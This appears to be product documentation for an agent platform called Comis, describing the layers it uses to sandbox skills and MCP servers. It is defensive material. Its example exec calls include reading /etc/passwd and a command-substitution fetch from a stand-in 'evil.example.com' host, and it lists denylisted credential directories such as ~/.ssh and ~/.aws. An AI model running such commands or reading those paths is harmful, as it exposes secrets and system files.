Skill Sandboxing

How Comis isolates skills to prevent malicious or compromised code from causing harm

When you add custom skills to your agents — prompt templates, MCP integrations, or third-party tools — Comis runs them through multiple layers of protection. Before a skill loads, its content is scanned for threats. Before it executes, dangerous patterns are sanitized. During execution, tool access is restricted to only what the skill needs. This multi-layer approach means even a compromised skill cannot harm your system.

Two different sandboxes. Comis has two distinct sandbox concepts that are sometimes conflated:

• Skill sandbox (this page) — application-level protection that runs whenever a skill is loaded or invoked: content scanning, sanitization, tool policy, budget caps. This applies to all skills regardless of how they execute.
• Exec sandbox (separate page) — OS-level filesystem isolation for the system.exec tool only, using bubblewrap on Linux or sandbox-exec on macOS. It does not sandbox arbitrary agent code, MCP servers, or in-process Node tools.

Use this page for skill loading and tool-policy questions; use the Exec Sandbox page for shell-command isolation.

What the Sandbox Protects Against

The sandboxing system is designed to catch a range of threats:

• Malicious skills — A skill that tries to execute system commands, read environment variables, or exfiltrate data
• Compromised dependencies — An MCP server or external tool that has been tampered with
• Resource abuse — A skill that consumes excessive memory, CPU, or network bandwidth
• Data exfiltration — A skill that tries to send your data to external servers
• Prompt injection via skills — A skill that contains hidden instructions to override agent behavior

Even if you trust your skill sources today, the sandbox ensures that a future compromise — whether from a supply chain attack or accidental misconfiguration — does not put your system at risk.

How the Sandbox Works

The sandboxing process is automatic. When an agent loads a skill, Comis runs it through a pipeline of checks before the skill can execute. You do not need to invoke the sandbox manually — it is always active for all skills.

The key principle is defense in depth: each layer catches a different type of threat, so a skill must pass all of them to execute. A threat that slips past one layer is caught by the next.

The Four Layers of Sandboxing

Skills pass through four layers of protection before and during execution. Each layer catches a different category of threat.

1. Content Scanning

   Before a skill is loaded, Comis scans its content for six threat categories:

   • Command execution — Shell commands, eval calls, subprocess invocations
   • Environment harvesting — Attempts to read API keys from environment variables
   • Cryptocurrency mining — Crypto mining scripts or wallet addresses
   • Network exfiltration — Suspicious outbound network requests
   • Obfuscated encoding — Base64-encoded payloads and other encoding tricks
   • XML injection — XML entity attacks and breakout attempts

   Critical threats block the skill from loading entirely, while lower-severity findings generate warnings.

   For the full list of scanned patterns and configuration options, see Security Scanning.

2. Sanitization

   All skill content passes through a four-step sanitization pipeline:

   1. HTML comment stripping — Removes hidden instructions embedded in HTML comments
   2. Unicode normalization (NFKC) — Converts visually similar characters to their canonical forms
   3. Invisible character removal — Strips zero-width characters and other invisible Unicode
   4. Size enforcement — Rejects content exceeding the 20,000 character limit

   This catches threats that content scanning might miss — for example, instructions hidden using zero-width characters or encoded in unusual Unicode forms.

   For sanitization details, see Security Scanning.

3. Tool Policy

   Each agent has a tool policy that controls which tools skills can access. Five built-in profiles give you a starting point:

   • minimal — Basic file operations only
   • coding — Development tools (read, write, edit, execute)
   • messaging — Communication tools only
   • supervisor — Fleet management and administration
   • full — All tools, no restrictions (this is the default)

   You can further customize with allow and deny lists. A skill cannot use a tool that the agent’s policy does not permit, regardless of what the skill requests.

   For profile configuration and custom rules, see Tool Policy.

4. Execution Constraints

   During execution, additional safety limits apply:

   • Budget caps prevent runaway API costs by limiting tokens per execution
   • Circuit breakers pause agents with high error rates to prevent cascading failures
   • Step limits cap the number of tool calls per execution

   These constraints ensure that even if a skill passes all other checks, it cannot consume unlimited resources.

   For budget and circuit breaker configuration, see Safety.

OS-Level Filesystem Sandbox (Exec Tool)

For the special case of the system.exec tool, which spawns a shell, the skill-level layers above are reinforced by a kernel-enforced filesystem namespace. This is the only Comis sandbox that operates at the OS level.

Platform	Provider	Mechanism
Linux	bubblewrap (bwrap)	Mount, PID, user, IPC, and cgroup namespaces; private /tmp; --die-with-parent
macOS	sandbox-exec (built-in)	SBPL profile generated per invocation; default-deny; symlink-aware paths

The provider is auto-detected at daemon startup — Comis picks bwrap on Linux and sandbox-exec on macOS. If the binary is missing, the exec tool logs a warning and falls back to running unsandboxed (you can change this to hard-fail by setting execSandbox.enabled: "always" and ensuring the binary is installed).

Successful exec call vs blocked exec call

Here is what an agent sees when it tries to read a permitted vs forbidden path through the exec tool. The agent’s workspace lives at ~/.comis/workspace-code-assistant/.

# ALLOWED -- inside the workspace, sandbox mounts it read-write
$ exec command="cat README.md"
# Comis README. Welcome to the agent workspace...

# BLOCKED -- outside the workspace, sandbox does not mount /etc
$ exec command="cat /etc/passwd"
# bash: /etc/passwd: No such file or directory
# (the file exists on the host, but it is invisible inside the namespace)

# BLOCKED before the sandbox even runs -- ExecSecurityValidator rejects
# shell substitution
$ exec command='echo $(curl https://evil.example.com/payload.sh)'
# Error: dangerous shell pattern detected: command substitution $(...)

For the full exec sandbox configuration, mount table, and platform notes, see Exec Sandbox.

Autonomy jail hardening

When an agent runs an autonomy-bearing surface (the orchestrate/script runner), the bwrap jail is hardened beyond the baseline filesystem isolation. These controls are defense-in-depth — each one stands alone if another is absent:

• Process hardening — --new-session (a fresh session keyring + no controlling TTY, which neutralizes the TIOCSTI keystroke-injection escape) and --die-with-parent (the jail dies with the daemon, no orphaned escape).
• Seccomp profile — an optional --seccomp BPF filter denies the dangerous syscall surface (keyring, ptrace, perf_event_open, bpf, module loading) while allowing what interpreters need. The filter is a precompiled blob generated offline; when it is absent the jail degrades gracefully (the other controls still apply) rather than failing to start.
• Bind-mount validator — every dynamic, caller- or agent-supplied bind (workspace, temp dir, shared paths, read-only discovery paths) is screened against a denylist backstop before it is mounted. A bind that resolves into a system dir (/etc, /proc, /sys, /dev, /root, /run) or a credential dir (~/.ssh, ~/.aws, ~/.gnupg, ~/.config, ~/.npm, ~/.netrc) — or a symlink whose real target does — is refused at jail construction (it fails loud; it is never silently mounted). Symlinks are resolved through every ancestor, so a symlinked leaf cannot smuggle a blocked path past a naive string check.
• Writable-path audit — no host-trusted writable path (the agent config, hooks, cron jobs, ~/.nvm, learned-memory/skill files, or the bound Node binary) is mounted read-write, and no read-only mount of a parent lets a not-yet-existing child config be created inside the jail.
• Namespace preflight — at startup Comis probes whether the host can build an unprivileged user namespace. If it cannot, the autonomy posture downshifts to assistant with a loud doctor/boot signal and a remediation hint — it never silently falls back to an unjailed run.
• Node-runtime honesty — surfaces that need node inside the jail probe for it on the jail PATH; if absent, the daemon’s own node binary is bound read-only; if neither works, those surfaces are reported unavailable with a loud signal. Comis never claims a “bundled Node” and never silently runs them unjailed.

What Happens When a Threat Is Found

The response depends on the severity of the finding:

• Critical threat — The skill is blocked from loading. An audit event is recorded. The agent continues without the compromised skill.
• Warning — The skill loads with a warning logged. The audit trail records the concern for your review.
• Clean — The skill passes all checks and loads normally.

Comis errs on the side of caution. If a pattern looks suspicious, it is flagged even if it might be benign. You can review flagged skills and adjust content scanning settings if needed.

All findings — whether critical, warning, or clean — are recorded as audit events. You can view them in the Security dashboard or in your log files. This gives you a complete record of every skill that has been checked and what was found.

If a legitimate skill is incorrectly flagged as a threat, you can adjust the content scanning configuration to allow specific patterns. See Security Scanning for details.

Configuration

The most relevant sandbox settings are shown below. Detailed configuration lives on the linked pages.

~/.comis/config.yaml

skills:
  contentScanning:
    enabled: true             # Scan skill content for threats (default: true)
    blockOnCritical: true     # Block skills with critical findings (default: true)

Setting	Default	Details
skills.contentScanning.enabled	true	Security Scanning
skills.contentScanning.blockOnCritical	true	Security Scanning
skills.toolPolicy.profile	full	Tool Policy

For production deployments, pair content scanning with a restrictive tool policy profile. Content scanning catches malicious patterns at load time, while tool policy limits what a skill can do at runtime.

Sandbox no-downgrade invariant

A confined agent must not be able to escalate by delegation — spawning a sub-agent that runs with a less confined sandbox than itself. Comis enforces a fail-closed no-downgrade invariant on the sub-agent spawn path: a child spawn is refused before any run or session is created when the child’s resolved sandbox posture would be less confined than its spawner’s on any dimension (exec / filesystem / network / uid), and a security:sandbox_downgrade_refused event is emitted. Missing posture config folds to the most-confined value, so a posture is never inferred more permissive than reality. For sub-agents today the exec sandbox dimension is the active one; the other dimensions are reserved for the deferred terminal path. The invariant is on by default and controlled by security.agentToAgent.sandboxNoDowngrade; see the Threat Model for the trust-boundary rationale.

MCP Server Sandboxing

MCP (Model Context Protocol) integrations connect your agents to external tools and data sources. Because MCP servers run as separate processes, they receive the same sandboxing treatment as other skills:

• Content scanning applies to the MCP server manifest and tool descriptions
• Tool policy controls which MCP tools your agents can use
• Execution constraints apply to MCP tool calls just like built-in tool calls

If an MCP server exposes a tool that your agent’s policy does not allow, the tool is silently unavailable. The agent cannot discover or use it.

For MCP integration details, see MCP.

Related

Security Scanning

Detailed content scanner documentation

Tool Policy

Configure per-agent tool restrictions

Defense in Depth

How sandboxing fits into the security layers

Sandbox Reference

Technical sandbox reference